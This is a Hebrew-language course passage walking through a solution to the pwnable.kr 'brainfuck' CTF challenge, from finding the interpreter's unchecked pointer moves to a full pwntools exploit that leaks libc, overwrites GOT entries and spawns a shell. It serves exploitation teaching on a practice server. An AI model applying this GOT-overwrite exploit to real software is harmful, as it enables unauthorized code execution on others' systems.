לדלג לתוכן

8.5 מפרשים ומכונות וירטואליות פתרון

פתרון - exploit מפרש Brainfuck

נפתור את האתגר brainfuck מ-pwnable.kr צעד-צעד, מהזיהוי של הפרימיטיבים ועד למעטפת. בסוף יש אקספלויט pwntools מלא שרץ מול השרת.

פתרון תרגיל 1 - מיפוי הפרימיטיבים

פירוק do_brainfuck מגלה מבנה switch פשוט. כל פקודה מתורגמת לפעולה אחת על המצביע הגלובלי p או על הבית שמתחתיו:

>   p++
<   p--            <-- no bounds check here
+   (*p)++
-   (*p)--
.   putchar(*p)    <-- read: takes a byte out of memory
,   *p = getchar() <-- write: writes a byte to memory
[   disabled
]   disabled

הבאג הוא היעדר כל בדיקה על p בפקודות < ו->. המצביע מתחיל ב-tape (המפרש עושה p = tape ב-main), ואפשר לגרור אותו לכל כתובת. בשילוב עם . ל-קריאה ו-, ל-כתיבה, קיבלנו קריאה וכתיבה שרירותיות יחסיות ל-tape. מכיוון שהבינארי ללא PIE, tape בכתובת קבועה, אז זה הופך לקריאה וכתיבה מוחלטות.

פתרון תרגיל 2 - איתור הכתובות

הבינארי הוא i386 ללא PIE, אז נאסוף את הכתובות סטטית. הערכים למטה הם דוגמה - הריצו את הפקודות על העותק שלכם וודאו:

$ checksec --file=./bf
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

$ nm ./bf | egrep ' tape| main'
0804a0a0 B tape
08048671 T main

$ objdump -R ./bf | egrep 'putchar|getchar|fgets|memset'
0804a010 R_386_JUMP_SLOT   putchar
0804a018 R_386_JUMP_SLOT   fgets
0804a024 R_386_JUMP_SLOT   memset
0804a02c R_386_JUMP_SLOT   getchar

הדבר החשוב ל-checksec: Partial RELRO - ה-.got.plt ניתן לכתיבה, אז דריסת GOT אפשרית. ו-No PIE - כל הכתובות קבועות.

שימו לב ש-tape (0x0804a0a0) יושב בכתובת גבוהה מכל רשומות ה-GOT (0x0804a0..). לכן כדי לגרור את p מ-tape אל רשומת GOT, נלך אחורה עם <, ומספר ה-< הוא tape - got_entry. במקום לספור ידנית, ניתן ל-pwntools לחשב.

פתרון תרגיל 3 - קריאה וכתיבה שרירותיות

נבנה פונקציית עזר שמזיזה את p מכתובת נוכחית ליעד ומעדכנת מונה cur:

cur = tape        # p starts here
prog = b''

def move(dst):
    global cur, prog
    d = dst - cur
    prog += (b'>' if d > 0 else b'<') * abs(d)
    cur = dst

קריאת ארבעה בתים מכתובת: מזיזים לשם, ואז .>.>.>. - ארבע קריאות . עם שלושה > ביניהן. המצביע מסתיים ב-addr + 3.

כתיבת ארבעה בתים לכתובת: מזיזים לשם, ואז ,>,>,>, - ארבע כתיבות , עם שלושה > ביניהן.

פתרון תרגיל 4 - דליפת libc

הפונקציה main קוראת ל-setvbuf, puts, memset ו-fgets לפני לולאת ה-brainfuck. לכן רשומות ה-GOT שלהן כבר נפתרו לכתובות libc אמיתיות בזמן שהתכנית שלנו רצה. הפונקציות putchar ו-getchar עדיין לא נקראו, אז ה-GOT שלהן מצביע ל-resolver - לא שימושי לleak.

נדלוף מ-fgets@got: נזיז את p לשם ונקרא ארבעה בתים. הכתובת המתקבלת היא הכתובת האמיתית של fgets ב-libc. בסיס libc:

libc.address = leak - libc.sym['fgets']
system = libc.sym['system']   # updates automatically after libc.address is set

פתרון תרגיל 5 - דריסת GOT והרצת מעטפת

הבעיה: אחרי הלולאה main פשוט חוזר, אז דריסת memset/fgets לבדה לא תופעל שוב. הפתרון בשני צעדים.

צעד א - להריץ את main מחדש. פקודת . שלנו קוראת ל-putchar. נדרוס את putchar@got לכתובת של main. עכשיו פקודת . הבאה שנריץ תקפוץ ל-main במקום להדפיס.

צעד ב - להפוך קריאה מוקדמת ב-main ל-system. הפונקציה הראשונה ב-main שמקבלת מצביע שאנחנו שולטים בתוכנו כארגומנט ראשון היא memset(tape, 0, sizeof(tape)). נדרוס את memset@got ל-system. כשה-main השני ירוץ, הקריאה הזו הופכת ל-system(tape).

מה יש ב-tape? נשתול שם מראש את "/bin/sh". וכאן העדינות היפה: ב-main השני, מכיוון ש-memset כבר איננו memset אלא system, הסרט לא מתאפס, אז המחרוזת שלנו שורדת. התוצאה: system("/bin/sh").

הרצף בתוך תכנית ה-brainfuck אחת:

1. Move to fgets@got, read 4 bytes  (leak)
2. Move to memset@got, write system (4 bytes)
3. Move to putchar@got, write main (4 bytes)
4. Move to tape, write "/bin/sh\0" (8 bytes)
5. The '.' command -> putchar (now main) -> main runs again
   -> memset(tape) (now system) -> system("/bin/sh")

פתרון תרגיל 6 - אקספלויט מלא

הנה הסקריפט המלא. הוא בונה את התכנית, שולח אותה, קורא את הדליפה, מחשב את הכתובות, ושולח את בתי הכתיבה בסדר שבו פקודות ה-, צורכות אותם: קודם system (עבור memset@got), אחר כך main (עבור putchar@got), ואחר כך "/bin/sh" (עבור tape).

#!/usr/bin/env python3
from pwn import *

context.arch = 'i386'
context.log_level = 'info'

elf  = ELF('./bf')
libc = ELF('./bf_libc.so')

tape      = elf.sym['tape']
main_addr = elf.sym['main']
g_fgets   = elf.got['fgets']
g_memset  = elf.got['memset']
g_putchar = elf.got['putchar']

# --- building the brainfuck program ---
cur  = tape
prog = b''

def move(dst):
    global cur, prog
    d = dst - cur
    prog += (b'>' if d > 0 else b'<') * abs(d)
    cur = dst

# 1) leak: read fgets@got (already resolved to libc) - 4 bytes
move(g_fgets)
prog += b'.>.>.>.'
cur = g_fgets + 3

# 2) overwrite: memset@got <- system  (4 bytes via getchar)
move(g_memset)
prog += b',>,>,>,'
cur = g_memset + 3

# 3) overwrite: putchar@got <- main   (4 bytes via getchar)
move(g_putchar)
prog += b',>,>,>,'
cur = g_putchar + 3

# 4) plant "/bin/sh\0" at the start of tape
move(tape)
prog += b',>' * 8
cur = tape + 8

# 5) trigger: '.' -> putchar (=main) -> main -> memset (=system) -> system("/bin/sh")
prog += b'.'

# --- run ---
# io = process('./bf')
io = remote('pwnable.kr', 9001)

io.recvuntil(b'[ ]\n')
io.sendline(prog)

# read the 4 leak bytes
leak = u32(io.recvn(4))
libc.address = leak - libc.sym['fgets']
log.success('fgets  @ %#x', leak)
log.success('libc base = %#x', libc.address)
log.success('system @ %#x', libc.sym['system'])

# send the write bytes in the order the ',' commands consume them
io.send(p32(libc.sym['system']))   # -> memset@got
io.send(p32(main_addr))            # -> putchar@got
io.send(b'/bin/sh\x00')            # -> tape

io.interactive()

הרצה מול השרת נותנת שורת פקודה:

[+] Opening connection to pwnable.kr on port 9001: Done
[+] fgets  @ 0xf7e...
[+] libc base = 0xf7d...
[+] system @ 0xf7d...
[*] Switching to interactive mode
$ cat flag

הערה על ריצה מקומית: אם אתם בודקים עם process('./bf'), ודאו שאתם טוענים את אותו bf_libc.so. הריצו את הבינארי עם ה-libc של האתגר דרך LD_PRELOAD=./bf_libc.so ./bf, או השתמשו ב-context.binary ו-libc שתואמים לשרת. אם system לא נופל על מעטפת בעותק שלכם, בדקו קודם שהleak ובסיס ה-libc נכונים - offset שגוי של פונקציה הוא הטעות הנפוצה ביותר כאן.

למה זה עבד ואיך להכליל

המפתח היה שהמפרש נתן לנו שלושה פרימיטיבים - הזזת מצביע, קריאת בית, כתיבת בית - וללא בדיקת גבולות על ההזזה הם הצטרפו לקריאה וכתיבה שרירותיות. משם זו כבר עבודה מוכרת: לדלוף כתובת libc מרשומת GOT שכבר נפתרה, לחשב system, ולדרוס רשומות GOT.

שני הטריקים המעניינים היו ספציפיים למבנה של main, אבל מכלילים היטב. ראשית, כדי להפעיל שוב פונקציה שנקראת רק פעם אחת ב-main, דרסנו רשומת GOT של פונקציה שנקראת מתוך הלולאה (putchar) כדי לקפוץ חזרה ל-main. שנית, בחרנו לדרוס דווקא את memset כי היא הראשונה ב-main שמקבלת מצביע שאנחנו שולטים בתוכנו כארגומנט ראשון, והעובדה שהיא כבר לא מאפסת את הסרט היא בדיוק מה ששימר את המחרוזת "/bin/sh".

בכל אתגר exploit מפרש או מכונה וירטואלית תחפשו את אותו דבר: את ההוראה שמאפשרת למצביע המדומה לצאת מגבולות המצב. ברגע שמצאתם אותה ויש גם קריאה וגם כתיבה, אתם כבר בעלי קריאה וכתיבה שרירותיות - וכל השאר הוא בחירת יעד טוב לדריסה.